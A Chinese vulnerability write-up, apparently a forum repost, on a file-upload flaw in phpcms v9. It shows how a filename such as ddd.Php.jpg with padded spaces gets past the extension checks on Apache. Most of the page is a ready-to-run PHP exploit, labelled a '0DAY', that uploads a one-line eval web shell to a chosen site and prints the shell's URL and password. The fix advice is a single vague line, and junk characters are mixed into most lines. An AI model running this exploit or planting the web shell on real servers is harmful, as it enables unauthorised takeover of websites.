漏洞类型: 文件上传导致任意代码执行1 ^) r& I k: `1 w& n" Q
* o% |% ~0 H5 _' P! n2 E简要描述:
5 H; s. M; p: Y9 d
: q6 t! E- x$ Z1 B* ?9 Hphpcms v9 getshell (apache)
6 x0 }! F1 j. ]详细说明:+ {7 i0 l/ @, u
$ p/ B0 J5 H2 h" o4 e7 E3 S7 c) m* @
漏洞文件:phpcms\modules\attachment\attachments.php
9 S6 V0 V3 [+ ?1 h u$ T, N) Z( i- p6 N. f0 u$ g
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
; x) o7 k/ k7 {6 j) V* n2 u# e后缀检测:phpcms\modules\attachment\functions\global.func.php8 m+ Y- R+ @ V. q W/ O$ M
# e" D) a$ O4 [4 U% n0 q6 e' I9 f
, f) Y8 R. m- S1 a2 `9 u6 r& Z }0 L
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
3 U' G, y& _5 l z$ T
* R0 z% x: S" U2 z$ {关键函数:
% {7 V5 {/ e/ ^. \0 ]/ p1 D. s/ n. S5 X( z8 J5 b
0 I1 b- y+ h( a/ F% j' s- x! ]
# x% k8 g5 J6 Y! ? @function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
: l( \6 W, S0 z$ T2 n/ B. e' B2 B) X/ `8 D: z7 y# A" T$ K( \* w
Fileext函数是对文件后缀名的提取。
8 E0 ^; ]$ c6 H" F, a根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
" A, v% G# p; X' u/ b/ G0 N: F经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。7 ?+ }( Z* D; e
我们回到public function crop_upload() 函数中
/ R3 w, F; N! [" F9 U2 @if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();# L) w/ w1 u8 t% k9 ~
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数/ V, v# T L8 x! @( |) j& o- ^
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。. a3 W9 d$ o. n$ H; Z
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
5 @; m/ s! N* d$ a最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。8 R& I' v. ^. `( T. U
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
1 B2 |# v6 D: Q+ }漏洞证明:2 h9 h: R* Y- A( v( t/ h
7 f0 V8 Y# T$ y* p& sexp:
5 r# o3 _6 Q+ J8 f' Q0 v5 N3 N) \/ b& H" b& b! x9 n( N6 C
<?php
& L# n' H: l! i w9 s: u; [( Rerror_reporting(E_ERROR);# a6 e: ^. c. N9 g. y# z$ E1 }
set_time_limit(0);& e+ L0 q. w! N/ {- B9 q/ F! P
$pass="ln";
t6 c9 F% [3 ]( Yprint_r('6 Q! ^" A6 A4 G
+---------------------------------------------------------------------------+4 ]3 C+ a) x% e, [8 @0 z2 J
PHPCms V9 GETSHELL 0DAY
4 c2 @3 b: L7 w. _5 i+ i% r+ @code by L.N.
9 w1 {/ J$ m! {% ^3 u& R+ p
+ \8 D j. Y: c9 r* [# f4 H8 lapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net- q" D o7 I1 T) b
+---------------------------------------------------------------------------+
4 C9 I2 X5 R9 g. M* _" K');7 K3 N# v# p: e; h
if ($argc < 2) {+ `" F2 I# M' s# t8 y B. q7 R
print_r('4 A( V& |" _" H" d# R4 N
+---------------------------------------------------------------------------+
2 m6 L7 }% I! t) T- z$ t/ d. JUsage: php '.$argv[0].' url path
4 @6 r' I, ?! V9 n# v+ R# W! w! v7 W; ]9 a
Example:$ Z! g6 _$ K& P. M
1.php '.$argv[0].' lanu.sinaapp.com
. X7 [( B6 b3 j1 ?) I5 A2.php '.$argv[0].' lanu.sinaapp.com /phpcms
& f$ V! N( x' ~3 ^/ \. D1 ]% U% e+---------------------------------------------------------------------------+
1 x7 w( `/ W* _0 V');
6 \% q2 {1 e( e8 {+ _% {exit;# e) l {* h9 ], [1 N" R. ^
}
- h7 B, _7 I4 l9 X! x7 c; [( @; k
; g$ s9 l6 n8 R/ F( N* {: W$url = $argv[1];
, i5 S3 l8 T W" P1 m$path = $argv[2]; ]; t+ a' l" c" `
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';8 h/ _; b! K$ z8 {: r* B
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';: y% d. H3 @ G% A; ?, p" M
if($ret=Create_dir($url,$path))
+ f4 t% W* b' r8 S( w# z{4 b2 x0 [8 {0 ^. {
//echo $ret;
, D# s' |: l/ a$pattern = "|Server:[^,]+?|U";2 ?) @" b- W/ n d3 M5 c0 X( o
preg_match_all($pattern, $ret, $matches);- W7 \+ a$ w% ]
if($matches[0][0])
f' ?! B/ I5 q7 v* ?1 W9 A{/ v0 q7 r1 D" [
if(strpos($matches[0][0],'Apache') == false)6 z& R9 A" Y% B9 R% w" w( p
{3 c- l2 d! ^) \5 q4 ]5 G: A$ D, V
echo "\n亲!此网站不是apache的网站。\n";exit;5 \; J2 W& R, C5 q; n/ G% T
}
( Z8 [0 F; ]5 I F) y}
0 X: a( O: u; O7 e$ret = GetShell($url,$phpshell,$path,$file);! t, M; h8 o! w9 d
$pattern = "|http:\/\/[^,]+?\.,?|U";; {+ n3 x7 H% K7 e" N. Y
preg_match_all($pattern, $ret, $matches);
1 k! }8 Z% e: D& {5 D5 Xif($matches[0][0]). J. q3 i. O+ k* O( i& H
{
) p( P# a5 P% I4 U# F( zecho "\n".'密码为: '.$pass."\n";9 j& \- x; x: Z7 U
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;( q; i! T5 j& M
}
+ q! ? |2 I4 {7 N9 ]; pelse& n8 a& d7 j9 ?, {2 n# W0 s
{
* }$ V* t' ^; F$pattern = "|\/uploadfile\/[^,]+?\.,?|U";7 B5 D. g) f5 @6 ^
preg_match_all($pattern, $ret, $matches);* H4 A! m; l" ]* @' H# d. Z) ~
if($matches[0][0])
; H, O7 c1 C9 j! S4 `{! W# i. }! ^. d5 f0 b8 ^
echo "\n".'密码为: '.$pass."\n";
7 {$ Y) Q4 ]0 Zecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
& n% s6 ~$ i7 Y ?# K4 b: N}( e2 ^: A, t' Z5 D8 R- q6 i5 e
else
4 v- N! U5 i( ]" K" H3 C* l2 j3 A{8 p6 ~. @# K5 r. u
echo "\r\n没得到!\n";exit;5 r. }+ v- Y8 b; q& v0 o/ a
}) E4 M9 v2 x6 E% M7 L' p {
}3 z a: t2 p' Z0 v5 b) A @) o# Y
}. q4 \ W) \4 {1 B( \
0 |. M4 w# _# W# Y* j7 Q- T
function GetShell($url,$shell,$path,$js); x9 w- O3 X5 c' h
{: A& O2 D @2 n1 O+ ?4 e- R% D4 Z
$content =$shell;
+ i, @: u: s/ i! l% z ?$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";) i3 s) z# n- ] v' a& h8 _/ V
$data .= "Host: ".$url."\r\n";
$ T0 O! Y% `0 |2 z; F$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";6 }- ~9 [& e& i' E
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";1 A' ]& D8 h! W h2 q2 d7 W* ?
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";( L* a6 S2 D+ {
$data .= "Connection: close\r\n";
g9 P4 J# t' d W' B3 |: B$data .= "Content-Length: ".strlen($content)."\r\n\r\n";2 O' F, s) x& t. C5 |/ K
$data .= $content."\r\n";
3 w/ [( l4 u5 j! k! Q1 l7 n# J/ v$ock=fsockopen($url,80);
* R( ]% ^/ } g j$ ?if (!$ock)
, X- ]" ^( ]4 N P* k/ y{
5 B2 D( c7 f8 ]: f5 W' {. s# F Becho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;# t2 W) z; W) G- G9 x1 k3 ]
}& T# _8 s) b6 ^0 z) c( F6 `
else, E# n6 p9 Q1 D" H% m
{- w4 U5 i. `- i
fwrite($ock,$data);
/ x; Z" u; I& F3 Q L$resp = '';
" u# [: Z. f( F8 x. y+ Ywhile (!feof($ock))5 g' F5 t8 |. S) E4 j' {2 x
{
9 k* u* v$ y& h! @5 u; s$resp.=fread($ock, 1024);
) E% a7 H8 H7 M7 _8 R/ o}
+ g2 B4 a9 z# ]9 sreturn $resp;
# G; h$ G( m3 M}
4 e% \) r% J# p# g}; H* |# u# }4 r1 e3 _. a
6 f" f8 s9 ^3 G2 Y2 O/ O; x
function Create_dir($url,$path='')( P* c B9 \9 v2 w& p3 D
{
3 m3 v+ {4 i. k+ g5 ?7 V5 v) t9 _( i$content ='I love you';& H1 f( l+ X6 g" s4 `( D
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
9 ~1 G: z3 P# C$data .= "Host: ".$url."\r\n";' N5 q- z/ s$ o, c0 |
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";8 X% a( C3 G2 z
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";3 [3 Q2 x5 K) T/ M8 s! [* N6 P
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";5 l/ B8 g! V6 [- ]$ t; a9 e
$data .= "Connection: close\r\n";
* z9 N% w! P9 S Q$data .= "Content-Length: ".strlen($content)."\r\n\r\n";: p, {6 A$ A# s. K& k1 A" y
$data .= $content."\r\n";
6 f+ a5 V) v) u; G$ock=fsockopen($url,80);# B- P& h; T. }# e' r; Z
if (!$ock)
( \) C* P+ f: g! t: o& S; m{" ]* p5 c% [% \- d' g) v u
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
& Q. h. J q2 W' w& P$ d}& W5 e: S) B: g1 M$ d" |/ q
fwrite($ock,$data);
! p) O7 X. A: `# l0 u$ c* @: w$resp = '';
" R! X+ K+ _, d' l4 h, fwhile (!feof($ock)), i r0 t2 J+ \% V: e
{
# H/ ?4 w" c$ V2 c& H- ~2 l$resp.=fread($ock, 1024);- | ^6 ^$ u2 _% q7 t; G! [4 [; g; [
}
4 ]+ W V) f* m5 B9 Xreturn $resp;
3 ~* V* r1 i. D6 |, ^, J}+ X& H# i% W, I1 c
?> 1 w x- [; B% x
; f7 E# Z c5 ^' j0 E4 g' w修复方案:4 v7 C) A/ K: ]3 u
( C$ {/ R! A1 x4 T+ a
过滤过滤再过滤( G2 Y/ _2 a9 V1 Q
4 G# w; X+ o# N# d b9 z9 M" r
|